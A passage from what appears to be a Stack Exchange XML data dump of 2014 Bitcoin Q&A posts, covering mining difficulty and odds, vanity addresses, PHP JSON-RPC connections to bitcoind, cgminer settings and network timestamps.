rel=&quot;nofollow&quot;&gt;https://bitcoinwisdom.com/bitcoin/difficulty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on what bitcoin difficulty is can be found here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to use a mining calculator, such as &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.alloscomp.com/bitcoin/calculator&lt;/a&gt; you only need to put your hashrate/s, as it preforms calculations based on this and not the total amount of hashes.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-31T17:47:03.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24167" PostTypeId="2" ParentId="24124" CreationDate="2014-03-31T18:56:56.247" Score="3" Body="&lt;p&gt;I would say before we are dealing thousands of microtransactions per day, which I still consider to be far off, is the idea of people and corporations using vanity addresses. Let's just say that I want all my addresses to start with Mark (or as close to mark as possible, e.g. for bitcoin would be 1mark and for litecoin would be Lmark and so on). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is no way to start with an address including, say 1mark, and reverse to find the private key (an assumption on which mining, password hashing, and many other security protocols are based on); I will have to do the inverse: generate a random private key, create a public key, and check if this public key meets my criteria. If the address I generated starts with 1mark then I will add it to my wallet, otherwise I will throw out this private key and try again until I find my address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin and it's derivatives do not allow certain characters in public keys as to avoid confusion. I believe these restricted characters are: number 0 and capital O, number 1 and lowercase l (except for the first character in a coin address). This means that I have 58 usable characters (26 UPPERCASE letters + 26 lowercase letters + 10 numbers - 4 unusable characters in these sets). I do not believe there are more but someone please correct me if I am wrong :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are 58 usable characters for an address, and let's say I am very concerned about the capitalization of my name (i.e. it needs to be 1mark, not 1MaRK or any other permutation with capitalization), the average amount of addresses I will need to generate to find an address begining in 1mark would be 58^4, or 11,316,496. If I didn't care about the capitalizataion of my name it could be as low as 707,281 addresses generated to find an address which begins with my name. That being said, I have a pretty short name, someone name Satoshi will need many more hashes to get his name as a vanity address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the water company is using vanity addresses as well, (e.g. 1water) to help their customers differentiate their charges or for any other reason, this increases by the amount of vanity addresses they use per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use a vanity address generator (see disclaimer) to do this currently, I imagine it will likely built in to standard wallet software at some point, since it is a nice novel feature and allows for more custom firstbits (short identifiers for bitcoin addresses, more information on firstbits can be found here &lt;a href=&quot;https://en.bitcoin.it/wiki/Firstbits&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Firstbits&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: be careful how you generate a vanity address, currently the best method is to use VanityGen (more info here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Vanitygen&lt;/a&gt; ). Please read up on the possible issues with a vanity address generator and make sure to do so securely if you intend to use a vanity address to save any significant amount of coins (e.g. make sure that the developer can not get access to your private key during or after creation, by running vanitygen on a live usb without connecting to the internet).&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-31T18:56:56.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24169" PostTypeId="1" CreationDate="2014-03-31T20:25:32.947" Score="-2" ViewCount="1910" Body="&lt;p&gt;I try to connect locally  with bitcoin client using the API but I get 404 on request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; testnet=1&#xA; server = 1&#xA; rpcport=8332&#xA; rpcuser=myuser&#xA; rpcpassword=mypass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was installing bitcoind on ubuntu server with &lt;code&gt;apt-get install bitcoind&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP API Call&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $_credintials = array('btc' =&amp;gt;'http://myuser:mypass@127.0.0.1:8332');&#xA; //or &#xA; $_credintials = array('btc' =&amp;gt;'http://myuser:mypass@127.0.0.1:18332');&#xA; $this-&amp;gt;load-&amp;gt;library('jsonRPCClient');&#xA; $this-&amp;gt;bitcoin = new jsonRPCClient($this-&amp;gt;_credintials['btc']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;var_dump();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: fopen(http://...@127.0.0.1:8332): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compiling bitcoind from github resolved the issue &lt;/p&gt;&#xA;" OwnerUserId="13558" LastEditorUserId="13558" LastEditDate="2014-04-02T12:03:52.327" LastActivityDate="2014-04-02T12:03:52.327" Title="Can't connect locally with API" Tags="|api|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24171" PostTypeId="2" ParentId="24142" CreationDate="2014-03-31T21:48:17.623" Score="3" Body="&lt;p&gt;You can put the following in your &lt;code&gt;rippled.cfg&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[rpc_startup]&#xA;{ &quot;command&quot; : &quot;log_level&quot;, &quot;severity&quot; : &quot;error&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-31T21:48:17.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24172" PostTypeId="2" ParentId="24169" CreationDate="2014-03-31T22:27:01.690" Score="0" Body="&lt;p&gt;first of all, you shouldn't be using fopen. &#xA;second of all you you obviously don't have rpcallowip set to whatever your ip is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;two things that will help you here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this modified jsonrpc written by Gweedo is a secure way to connect to rpc in php. it uses curl instead of fopen. additionally, i modified this to return arrays instead of throwing exceptions, allowing you to keep log errors from your scripts silently or ignore them all together:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;name this JsonRPCClient.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Copyright 2007 Sergio Vaccaro &amp;lt;sergio@inservibile.org&amp;gt;&#xA; * GNU GPL LICENSE&#xA; * The object of this class are generic jsonRPC 1.0 clients&#xA; * http://json-rpc.org/wiki/specification&#xA; * @author sergio &amp;lt;jsonrpcphp@inservibile.org&amp;gt;&#xA; */&#xA; class jsonRPCClient {&#xA;private $debug;&#xA;private $url;&#xA;private $id;&#xA;private $notification = false;&#xA;public function __construct($url,$debug = false) {&#xA;    $this-&amp;gt;url = $url;&#xA;    empty($proxy) ? $this-&amp;gt;proxy = '' : $this-&amp;gt;proxy = $proxy;&#xA;    empty($debug) ? $this-&amp;gt;debug = false : $this-&amp;gt;debug = true;&#xA;    $this-&amp;gt;id = 1;&#xA;}&#xA;public function setRPCNotification($notification) {&#xA;    empty($notification) ? $this-&amp;gt;notification = false : $this-&amp;gt;notification = true;&#xA;}&#xA;public function __call($method,$params) {&#xA;    if (!is_scalar($method)) { throw new Exception('Method name has no scalar value'); }              &#xA;    if (is_array($params)) { $params = array_values($params);}else{ throw new Exception('Params must be given as array'); }&#xA;    if ($this-&amp;gt;notification) {$currentId = NULL; }else{ $currentId = $this-&amp;gt;id;}&#xA;    $request = array( 'method' =&amp;gt; $method, 'params' =&amp;gt; $params, 'id' =&amp;gt; $currentId );&#xA;    $request = json_encode($request);&#xA;    $this-&amp;gt;debug &amp;amp;&amp;amp; $this-&amp;gt;debug.='***** Request *****'.&quot;\n&quot;.$request.&quot;\n&quot;.'***** End Of request *****'.&quot;\n\n&quot;;&#xA;    $ch = curl_init($this-&amp;gt;url);&#xA;    curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);&#xA;    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));&#xA;    curl_setopt($ch, CURLOPT_POST, true);&#xA;    curl_setopt($ch, CURLOPT_POSTFIELDS, $request);&#xA;    $response = json_decode(curl_exec($ch),true);&#xA;    curl_close($ch);&#xA;    if ($this-&amp;gt;debug) { echo nl2br($debug); }&#xA;    if (!$this-&amp;gt;notification) {&#xA;            if ($response['id'] != $currentId) { return $response; }&#xA;            if (!is_null($response['error'])) { return $response; } &#xA;            return $response['result'];&#xA;    }else{&#xA;            return true;&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a basic wallet.class.php for you to use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;name this wallet.class.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Wallet {  &#xA;public $ip;&#xA;public $port;&#xA;public $username;&#xA;public $password;&#xA;public $Client;&#xA;public $credentials;&#xA;function Wallet($credentials)&#xA;{&#xA;    foreach($credentials as $row)&#xA;    {&#xA;        $ip = $row[&quot;ip&quot;];&#xA;        $us = $row[&quot;user&quot;];&#xA;        $pa = $row[&quot;pass&quot;];&#xA;        $po = $row[&quot;port&quot;];&#xA;        $ac = $row[&quot;acr&quot;];&#xA;    }&#xA;    $this-&amp;gt;ip        = $ip;&#xA;    $this-&amp;gt;username  = $us;&#xA;    $this-&amp;gt;password  = $pa;&#xA;    $this-&amp;gt;port      = $po;&#xA;    $this-&amp;gt;acronym   = $ac;&#xA;    $this-&amp;gt;Client    = new jsonRPCClient('http://' . $this-&amp;gt;username . ':' .$this-&amp;gt;password . '@' . $this-&amp;gt;ip . ':' . $this-&amp;gt;port);&#xA;    return true;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now to use this functionality you simply do the following, lets call it &lt;strong&gt;test.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;require_once 'class.wallet.php';&#xA;$credentials = array();&#xA;$credentials[&quot;ip&quot;]   = '127.0.0.1';//your ip&#xA;$credentials[&quot;user&quot;] = 'foo';//your username&#xA;$credentials[&quot;pass&quot;] = 'bar';//your password&#xA;$credentials[&quot;port&quot;] = '1337';//your port&#xA;$credentials[&quot;acr&quot;]  = 'btc';&#xA;$rpc = new Wallet($credentials);//this returns true if no error during connection.&#xA;if($rpc === true) {&#xA;    $info =$rpc-&amp;gt;Client-&amp;gt;getinfo(); //try a basic rpc command&#xA;    echo '&amp;lt;pre&amp;gt;'; //make sure the array is printed neatly to the screen&#xA;    print_r($info, false); //dump the info to the screen&#xA;}else{&#xA;    print_r($rpc, false);//should dump the error for you&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helped, and good luck with your script.&lt;/p&gt;&#xA;" OwnerUserId="12447" LastActivityDate="2014-03-31T22:27:01.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24173" PostTypeId="1" AcceptedAnswerId="24201" CreationDate="2014-04-01T00:48:12.313" Score="1" ViewCount="215" Body="&lt;p&gt;A transaction &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7603/can-a-single-transaction-have-multiple-outputs-going-to-the-same-address&quot;&gt;can have multiple outputs pointing to the same address&lt;/a&gt; however it's not clear to me if and how this affects the transaction's &lt;strong&gt;&lt;code&gt;priority&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;cost&lt;/code&gt;&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, let's consider these two simple cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Case A&lt;/code&gt;: Two outputs pointing to the same address use the same input in a 50/50 split.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Case B&lt;/code&gt;: Two outputs pointing to the same address use two different inputs of equal amounts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-04-01T19:03:13.717" Title="Cost of single vs multiple outputs to the same address" Tags="|transactions|transaction-fees|raw-transaction|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24174" PostTypeId="1" AcceptedAnswerId="24181" CreationDate="2014-04-01T01:05:13.023" Score="0" ViewCount="64" Body="&lt;p&gt;How exactly is network time sampled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it as simple as one node stamping data right before being sent, the receiving node logging the current time before all other activity, and taking the difference?  Or is there something more complex involved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to code would be much appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditDate="2015-05-28T18:23:42.833" LastActivityDate="2015-05-28T18:23:42.833" Title="How exactly is network time sampled?" Tags="|protocol|network|timestamp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24175" PostTypeId="2" ParentId="24143" CreationDate="2014-04-01T01:11:34.900" Score="1" Body="&lt;p&gt;A couple examples may help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/bitcoinj/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My project &lt;a href=&quot;https://github.com/richardkiss/pycoinnet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoinnet&lt;/a&gt; is not complete (in particular, as of this writing, there is no bloom filter implementation), but it may eventually do what you need.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-04-01T01:11:34.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24176" PostTypeId="2" ParentId="24143" CreationDate="2014-04-01T02:01:36.760" Score="4" Body="&lt;p&gt;This is what I do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect to peer&lt;/li&gt;&#xA;&lt;li&gt;Set bloom filter&lt;/li&gt;&#xA;&lt;li&gt;Send 'getblocks' message&lt;/li&gt;&#xA;&lt;li&gt;Send 'getdata' message with MSG_FILTERED_BLOCK set for any new blocks&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that 'getblocks' returns a list of block chain hashes from the specified starting point, not the blocks themselves.  Then 'getdata' returns 'merkleblock' messages instead of full blocks.  The peer follows the 'merkleblock' message with any transactions that match the bloom filter as separate 'tx' messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details are in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0037.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BIP0037&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an example, my Java wallet can be found on &lt;a href=&quot;https://github.com/ScripterRon&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-04-01T02:01:36.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24177" PostTypeId="1" CreationDate="2014-04-01T02:54:15.557" Score="0" ViewCount="3497" Body="&lt;p&gt;&lt;a href=&quot;http://www.amilitalia.it/github.com/ckolivas/cgminer.html&quot; rel=&quot;nofollow&quot;&gt;http://www.amilitalia.it/github.com/ckolivas/cgminer.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the best balance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--load-balance Change multipool strategy from failover to quota based balance &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--balance Change multipool strategy from failover to even share balance &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How exactly it works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. there are 2 pool for different alt-coins with scrypt algo.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1st pool: difficulty 1.1234&lt;/li&gt;&#xA;&lt;li&gt;2nd pool: difficulty 10.123&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is &lt;code&gt;--balance&lt;/code&gt; set my cgminer to 90% for the second pool? Say, it will waiting for balance of &lt;code&gt;ACCEPTED&lt;/code&gt; shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;--load-balance&lt;/code&gt; set power of cgminer to 50%/50%? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm afraid that one pool might go slow, will not give jobs. Will cgminer wait for this pool with &lt;code&gt;--balance&lt;/code&gt; to keep balance of shares?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Peoples, I know that this is very old, overgrown with moss topic. Could somebody provide me with true link to the answer? &lt;/p&gt;&#xA;" OwnerUserId="13087" LastEditorUserId="13087" LastEditDate="2014-04-01T09:09:24.093" LastActivityDate="2015-01-02T00:26:12.963" Title="cgminer settings &quot;--load-balance&quot; vs &quot;--balance&quot;?" Tags="|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24179" PostTypeId="1" CreationDate="2014-04-01T06:56:28.617" Score="1" ViewCount="875" Body="&lt;p&gt;I absolutely LOVED the new Stack-Exchange-specific cryptocoin, &quot;Unicoin&quot;, mineable by humans and unicorn-themed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as the diverse options to pay for it (gold, silver, BTC, LTC, DOGE, reputation on this site and Reddit, bacon, among others) and the incredibly useful, succint and accurate legal disclaimer message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, I haven't found an exchange that trades it. Is there one?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-04-01T12:33:03.757" Title="What exchanges trade with Unicoin right now?" Tags="|exchanges|" AnswerCount="1" CommentCount="7" ClosedDate="2014-04-02T08:40:40.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="24180" PostTypeId="1" CreationDate="2014-04-01T07:20:06.550" Score="0" ViewCount="341" Body="&lt;p&gt;I'm looking into signing up for a year contract on one of the cloud mining sites. However, I'm concerned about the increasing difficulty over time at the locked Gh/s. In what ways can I calculate the loss I would face over time as the difficulty increases? &lt;/p&gt;&#xA;" OwnerUserId="14945" LastActivityDate="2019-07-03T12:40:25.127" Title="Cloud Mining - Difficulty Increase" Tags="|difficulty|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24181" PostTypeId="2" ParentId="24174" CreationDate="2014-04-01T07:37:30.743" Score="1" Body="&lt;p&gt;Bitcoin block headers serve as the timestamp system for bitcoin. Whichever miner finds the next block includes their systems timestamp and the network either agrees it is valid or throws it out for being outside their margin of acceptance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin verifies the time with a margin of nTimeOffset, which is set by bitcoin asking other nodes what time they think it is and taking the median. You can find this code by looking at AddTimeData in util.cpp, found here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/util.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/util.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be noted that some miners, principally ASICs, do so much hashing that they actually push their timestamps a few seconds into the future using rolltime to get extra work sets: &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#rollntime&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork#rollntime&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-01T07:37:30.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24183" PostTypeId="2" ParentId="24180" CreationDate="2014-04-01T08:01:51.640" Score="1" Body="&lt;p&gt;If you are asking how fast is the network growing, it is hard to tell. Many people try to give estimates on the network hashrate and only seem to be correct by coincidence. However looking throughout the history of bitcoin, with exception almost only during periods following huge price increases, one would get more coins for a certain sum of fiat than if they invested said sum in mining equipment, not considering labor, replacement, and power costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By getting a cloudminer, you are essentially paying all these costs up front to a company who promises they will take care of this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not to say that mining is not profitable or a good investment. If you have your own miner, you have equipment which maintains some value over time (you can sell old rigs to pay for new). Mining is a serious endeavor, and miners are appropriately named by some &quot;the bitcoin working class&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has evolved to the next level with bitcoin and ASICs. You need an engineering degree to build competitive bitcoin mining rigs. However litecoin and other alt-coins are still fair game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to learn more about how computers work on the hardware level, I would suggest building your own rig with 1 or 2 GPU to start. If you believe in the long term success of crypto currency, then now would be a good time to buy a rig (many desperate people are panic selling their equipment). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else, buy bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-01T08:01:51.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24184" PostTypeId="2" ParentId="11191" CreationDate="2014-04-01T09:57:34.707" Score="0" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In principle, electrum supports this. In practice however, only electrum.no-ip.org seems to accept HTTP or HTTPS on the standard ports and it can rarely be reached. Judging from the host name it is a machine connected to the internet through a residential internet connection with a dynamic IP; not exactly a heavy-duty server.&lt;/p&gt;&#xA;" OwnerUserId="14961" LastActivityDate="2014-04-01T09:57:34.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24185" PostTypeId="1" AcceptedAnswerId="24191" CreationDate="2014-04-01T10:37:38.037" Score="9" ViewCount="15972" Body="&lt;p&gt;I know mining is extremely difficult now. &#xA;I just wondering has anyone &quot;won&quot; by solo mining a block? How does the chances compare against say wining the lottery? &#xA;Assume 3 Giga Hashes Per Second say.  &lt;/p&gt;&#xA;" OwnerUserId="1473" LastEditorUserId="5406" LastEditDate="2016-01-20T20:10:14.747" LastActivityDate="2022-10-14T19:20:06.347" Title="Lottery Mining?" Tags="|solo-mining|mining-profitability|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24187" PostTypeId="1" AcceptedAnswerId="24208" CreationDate="2014-04-01T11:22:54.040" Score="13" ViewCount="3041" Body="&lt;p&gt;Can someone explain me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is Proof of Burn&lt;/li&gt;&#xA;&lt;li&gt;What is the difference between Proof of Burn and Proof of Work&lt;/li&gt;&#xA;&lt;li&gt;How Proof of burn works&lt;/li&gt;&#xA;&lt;li&gt;Which virtual currency uses Proof of burn technology instead of Proof of Work&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone explain these things to me in a understandable manner? I can't understand anything in the (&lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_burn&quot;&gt;Wiki article on it&lt;/a&gt;). Highly appreciate if someone can explain this to me.&lt;/p&gt;&#xA;" OwnerUserId="14928" LastEditorUserId="4748" LastEditDate="2014-04-01T18:54:35.690" LastActivityDate="2016-10-12T20:42:26.093" Title="What is Proof of Burn?" Tags="|alternatives|proof-of-work|proof-of-stake|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24188" PostTypeId="1" CreationDate="2014-04-01T11:22:59.280" Score="1" ViewCount="952" Body="&lt;p&gt;I am running &quot;./bitcoind -daemon -gen&quot; in my machine . Is it solo mining ? If so, what does it take to create 1 bitcoin ? When i run &quot;./bitcoind getbalance&quot; it is always 0.00000 . &#xA;&quot;./bitecoind getmininginfo&quot; results in:&#xA;{&#xA;    &quot;blocks&quot; : 319203,&#xA;    &quot;currentblocksize&quot; : 1000,&#xA;    &quot;currentblocktx&quot; : 0,&#xA;    &quot;difficulty&quot; : 68.59413778,&#xA;    &quot;errors&quot; : &quot;&quot;,&#xA;    &quot;generate&quot; : true,&#xA;    &quot;genproclimit&quot; : -1,&#xA;    &quot;hashespersec&quot; : 1447,&#xA;    &quot;networkhashps&quot; : 2298081699,&#xA;    &quot;pooledtx&quot; : 0,&#xA;    &quot;testnet&quot; : false&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i on right way ? If so, what does it take to create 1 coin ? Also, when i create a coin, how to send it to my address ? will it be automatically ? &lt;/p&gt;&#xA;" OwnerUserId="14570" LastActivityDate="2014-04-01T13:21:08.087" Title="is Bitcoind -gen solo mining ?" Tags="|bitcoind|solo-mining|balance|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24189" PostTypeId="2" ParentId="21942" CreationDate="2014-04-01T11:49:28.640" Score="2" Body="&lt;p&gt;Assuming the rig is dedicated to mining, it is best to use a USB flash drive because it is much less expensive than a hard drive, making your mining rig much more profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also uses less power and generates less heat, both of which also make your rig more profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's always the point of having no moving parts, making breakdown less likely.  Again, that relates to profitability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, all of this assumes that you're going to use the rig exclusively for mining.  If you want to use the rig for other purposes, such as occasional gaming, then using a hard drive might make sense.&lt;/p&gt;&#xA;" OwnerUserId="14964" LastActivityDate="2014-04-01T11:49:28.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24190" PostTypeId="2" ParentId="24185" CreationDate="2014-04-01T12:03:19.737" Score="1" Body="&lt;p&gt;Currently network's capacity is about 41000000 Gh/s. In this case your odds is 3/41000000=0.00000007%&#xA;For example, your odds to receive royal in hold'em flush is about 0.0002%&#xA;So good luck! &lt;/p&gt;&#xA;" OwnerUserId="14965" LastActivityDate="2014-04-01T12:03:19.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24191" PostTypeId="2" ParentId="24185" CreationDate="2014-04-01T12:09:00.783" Score="9" Body="&lt;p&gt;Unless the lucky winner were to announce his luck, there is no way for anyone to tell the difference. So, even if one cannot find any information suggesting that someone did, it could have happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/stats&quot; rel=&quot;noreferrer&quot;&gt;Blockchain.info&lt;/a&gt; gives the current hashing power as 47,289,554.08 GHash/s, so your chance to mine any one block would be &lt;code&gt;3/47,289,554.0 = 6.3439e-8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Germany there is a popular lottery where you have to guess six out of 49 and one out of ten numbers. The chance of getting all seven numbers right is &lt;a href=&quot;http://de.wikipedia.org/wiki/Lotto#Gewinnwahrscheinlichkeit_f.C3.BCr_Lotto&quot; rel=&quot;noreferrer&quot;&gt;7.1511e-8&lt;/a&gt;. So, the probability to win the jackpot is currently as likely as solo-mining a block with 3GHash/s. Of course, the lottery has a bunch of smaller prices for getting it partially right, and the jackpot would be worth millions of Euros, not 25 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, it is cheaper to play &quot;Bitcoin lottery&quot; and the draws are more frequent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below an estimate of the chance to get one block out of a day's/year's worth of blocks (disregarding increasing difficulty):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OeJLT.gif&quot; alt=&quot;Probabilities for a month and a year to get a block&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altogether, it seems to me that regular lottery is more profitable, but then &quot;Playing lottery is a tax for people that are bad at math.&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-01T12:09:00.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
